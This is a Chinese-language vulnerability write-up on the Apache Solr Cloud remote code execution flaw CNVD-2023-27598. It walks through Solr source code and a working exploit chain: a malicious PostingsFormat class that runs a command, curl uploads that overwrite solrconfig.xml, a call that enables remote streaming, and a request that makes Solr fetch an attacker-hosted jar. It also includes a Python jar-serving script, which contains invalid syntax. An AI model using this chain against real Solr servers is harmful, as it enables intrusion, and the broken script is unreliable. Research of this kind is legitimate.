Solr Cloud RCE漏洞分析

Solr Cloud RCE(CNVD-2023-27598)漏洞分析

影响版本

8.10.0 <= Apache Solr < 9.2.0

环境搭建

9.1.1

9.1.0-src

9.1.0-bin


8.11.2

solr-8.11.2.tgz

solr-8.11.2-src.tgz

8系列通过Ant 构建,不能直接导入idea,需要在目录下提前构建下

ant ivy-bootstrap、ant idea,然后直接导入idea即可

9 系列通过Gradle构建,直接导入idea即可,且需要jdk11及以上

idea打开src项目会自动用gradle构建好,慢慢等个一万年就好了

image-20230720011207957

这里会重新构建idea项目结构,并且编译好

然后创建一个远程监听,接着去bin项目启动cloud模式,添加参数到debug

1
./solr start -e cloud -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005"

image-20230720011234746

漏洞分析

漏洞路径是利用org.apache.solr.core.SolrConfig#initLibs​里的下面的代码去加载Evil Jar包执行static 代码块中恶意代码

1
2
3
4
if (!urls.isEmpty()) {
      loader.addToClassLoader(urls);
      loader.reloadLuceneSPI();
    }

关键方法addToClassLoader​,注意这里的needToReloadLuceneSPI​ ,会用SPI机制进行加载

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
 * Adds URLs to the ResourceLoader's internal classloader. This method <b>MUST</b> only be called
 * prior to using this ResourceLoader to get any resources, otherwise its behavior will be
 * non-deterministic. You also have to {link @reloadLuceneSPI} before using this ResourceLoader.
 *
 * @param urls the URLs of files to add
 */
synchronized void addToClassLoader(List<URL> urls) {
  URLClassLoader newLoader = addURLsToClassLoader(classLoader, urls);
  if (newLoader == classLoader) {
    return; // short-circuit
  }

  this.classLoader = newLoader;
  this.needToReloadLuceneSPI = true;

  if (log.isInfoEnabled()) {
    log.info(
        "Added {} libs to classloader, from paths: {}",
        urls.size(),
        urls.stream()
            .map(u -> u.getPath().substring(0, u.getPath().lastIndexOf("/")))
            .sorted()
            .distinct()
            .collect(Collectors.toList()));
  }
}

定位变量到reloadLuceneSPI​,这里是用SPI动态加载Jar包

SPI机制是Java提供的一种服务提供者框架,其基本思想是,提供者提供服务接口的实现,然后通过SPI机制将其注册到系统中,服务使用者可以通过SPI机制获取到所有已注册的服务提供者,从而实现服务的动态加载和扩展

所以说有这个SPI机制,就可以在项目运行的时候,动态的添加库支持

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
/**
 * Reloads all Lucene SPI implementations using the new classloader. This method must be called
 * after {@link #addToClassLoader(List)} and before using this ResourceLoader.
 */
synchronized void reloadLuceneSPI() {
  // TODO improve to use a static Set<URL> to check when we need to
  if (!needToReloadLuceneSPI) {
    return;
  }
  needToReloadLuceneSPI = false; // reset
  log.debug("Reloading Lucene SPI");

  // Codecs:
  PostingsFormat.reloadPostingsFormats(this.classLoader);
  DocValuesFormat.reloadDocValuesFormats(this.classLoader);
  Codec.reloadCodecs(this.classLoader);
  // Analysis:
  CharFilterFactory.reloadCharFilters(this.classLoader);
  TokenFilterFactory.reloadTokenFilters(this.classLoader);
  TokenizerFactory.reloadTokenizers(this.classLoader);
}

那么我们得知道他加载的前提,这就要理解一下SPI机制的实SPI机制

简单来说他会遍历META-INF/services​文件夹找实现类去加载,所以我们得去实现这个文件夹下的接口

这里8和9的貌似有点小区别

8.11.2

image-20230720011249453

9.1.0

image-20230720011258536

这里我选的和360那篇文章一样的PostingsFormat​接口去实现一个恶意类,然后在static里面放恶意代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.apache.solr.core;

import org.apache.lucene.codecs.FieldsConsumer;
import org.apache.lucene.codecs.FieldsProducer;
import org.apache.lucene.index.SegmentReadState;
import org.apache.lucene.index.SegmentWriteState;

import java.io.IOException;

public class EvilTest extends org.apache.lucene.codecs.PostingsFormat{
    static {
        try {
            Runtime.getRuntime().exec("open /System/Applications/Calculator.app");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public EvilTest() {
        super("Exploit");
        try {
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public FieldsConsumer fieldsConsumer(SegmentWriteState segmentWriteState) throws IOException {
        return null;
    }

    @Override
    public FieldsProducer fieldsProducer(SegmentReadState segmentReadState) throws IOException {
        return null;
    }

    public static void main(String[] args) {

    }
}


接下来,就是上传jar的方式了,这里有两步,我们从后往前讲,这里爆出漏洞的功能点在solr8.10开始引入的功能点Schema Designer

新的sechema的创建可以基于一个Configset来创建,创建好schema以后,他会默认加载SolrConfig.xml,而这个就可以实现我们动态加载lib

代码在前面说到的org.apache.solr.core.SolrConfig#initLibs​ ,他在initLibs中会读取lib标签的jar包,通过正则判断是否符合后加载

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
private void initLibs(SolrResourceLoader loader, boolean isConfigsetTrusted) {
  // TODO Want to remove SolrResourceLoader.getInstancePath; it can be on a Standalone subclass.
  // For Zk subclass, it's needed for the time being as well.  We could remove that one if we
  // remove two things in SolrCloud: (1) instancePath/lib  and (2) solrconfig lib directives with
  // relative paths. Can wait till 9.0.
  Path instancePath = loader.getInstancePath();
  List<URL> urls = new ArrayList<>();

  Path libPath = instancePath.resolve("lib");
  if (Files.exists(libPath)) {
    try {
      urls.addAll(SolrResourceLoader.getURLs(libPath));
    } catch (IOException e) {
      log.warn("Couldn't add files from {} to classpath: {}", libPath, e);
    }
  }

  List<ConfigNode> nodes = root.getAll("lib");
  if (nodes != null && nodes.size() > 0) {
    if (!isConfigsetTrusted) {
      throw new SolrException(
          ErrorCode.UNAUTHORIZED,
          "The configset for this collection was uploaded without any authentication in place,"
              + " and use of <lib> is not available for collections with untrusted configsets. To use this component, re-upload the configset"
              + " after enabling authentication and authorization.");
    }

    for (int i = 0; i < nodes.size(); i++) {
      ConfigNode node = nodes.get(i);
      String baseDir = node.attr("dir");
      String path = node.attr(PATH);
      if (null != baseDir) {
        // :TODO: add support for a simpler 'glob' mutually exclusive of regex
        Path dir = instancePath.resolve(baseDir);
        String regex = node.attr("regex");
        try {
          if (regex == null) urls.addAll(SolrResourceLoader.getURLs(dir));
          else urls.addAll(SolrResourceLoader.getFilteredURLs(dir, regex));
        } catch (IOException e) {
          log.warn("Couldn't add files from {} filtered by {} to classpath: {}", dir, regex, e);
        }
      } else if (null != path) {
        final Path dir = instancePath.resolve(path);
        try {
          urls.add(dir.toUri().toURL());
        } catch (MalformedURLException e) {
          log.warn("Couldn't add file {} to classpath: {}", dir, e);
        }
      } else {
        throw new RuntimeException("lib: missing mandatory attributes: 'dir' or 'path'");
      }
    }
  }

  if (!urls.isEmpty()) {
    loader.addToClassLoader(urls);
    loader.reloadLuceneSPI();
  }
}

那么我们就得创建一个带恶意配置文件SolrConfig.xml的schema了

但是直接新建scheme,会报错失败

image-20230720011310443

这是因为他的加载机制,由于是cloud部署,所以他默认会去zookeeper里加载

image-20230720011321476

这里会找传上去的conf文件夹,但是是找不到的,因为这里多拼接一个.designer

image-20230720011333034

但是这里还是有解决办法,分开单独来传

首先传我们的Configset,可以直接套用他自带的Configset,位置在solr/configsets​ ,挑一个压缩后上传就行,上传用API

1
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @sdconfigset.zip "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=xxx"

但是前面说了,里面的配置文件无法读取到,所以我们再单独把恶意的配置文件传上去,这里注意,这个API是可以指定参数filepath​和overwrite​的,这也是我们绕过的关键

1
curl -X POST --header "Content-Type:application/octet-stream" --data-binary @solrconfig.xml "http://127.0.0.1:8983/solr/admin/configs?action=UPLOAD&name=xxx&filePath=solrconfig.xml&overwrite=true"

可以看到这里就传上去了

image-20230720011344112

这个时候,就到最后一步了,我们需要加载jar包,加载的方法就是通过solrconfig.xml里面的lib标签去指定,但是我们没有入口传入jar包,所以我们只能通过临时文件的方法去加载jar包

这里又有一个接口,solr允许开启远程资源加载,开启后可以使用jar协议去远程加载jar包,本地会落地成临时文件

1
curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://127.0.0.1:8983/solr/gettingstarted_shard1_replica_n1/config -H 'Content-type:application/json'

发包

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /solr/gettingstarted_shard2_replica_n1/debug/dump?param=ContentStreams HTTP/1.1
Host: 192.168.220.16:8983
User-Agent: curl/7.74.0
Accept: */*
Content-Length: 196
Content-Type: multipart/form-data; boundary=------------------------5897997e44b07bf9
Connection: close

--------------------------5897997e44b07bf9
Content-Disposition: form-data; name="stream.url"

jar:http://vps:port/calc.jar?!/xxx.class
--------------------------5897997e44b07bf9--

由于需要生成临时文件,所以这个连接我们不能断,这里脚本借用360的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import sys 
import time 
import threading 
import socketserver 
from urllib.parse import quote 
import http.client as httpc 

listen_host = '0.0.0.0' 
listen_port = 7777 
jar_file = sys.argv[1]

class JarRequestHandler(socketserver.BaseRequestHandler):  
    def handle(self):
        http_req = b''
        print('New connection:',self.client_address)
        while b'\r\n\r\n' not in http_req:
            try:
                http_req += self.request.recv(4096)
                print('\r\nClient req:\r\n',http_req.decode())
                jf = open(jar_file, 'rb')
                contents = jf.read()
                headers = ('''HTTP/1.0 200 OK\r\n'''
                '''Content-Type: application/java-archive\r\n\r\n''')
                self.request.sendall(headers.encode('ascii'))
                self.request.sendall(contents[])
                time.sleep(300000)
                print(30)
                self.request.sendall(contents[])

            except Exception as e:
                print ("get error at:"+str(e))



            
if __name__ == '__main__':

    jarserver = socketserver.TCPServer((listen_host,listen_port), JarRequestHandler) 
    print ('waiting for connection...') 
    server_thread = threading.Thread(target=jarserver.serve_forever) 
    server_thread.daemon = True 
    server_thread.start() 
    server_thread.join()

因为这里会去读jar,所以其实还是有办法不出网利用的,但是这里不多赘述了。

Licensed under CC BY-NC-SA 4.0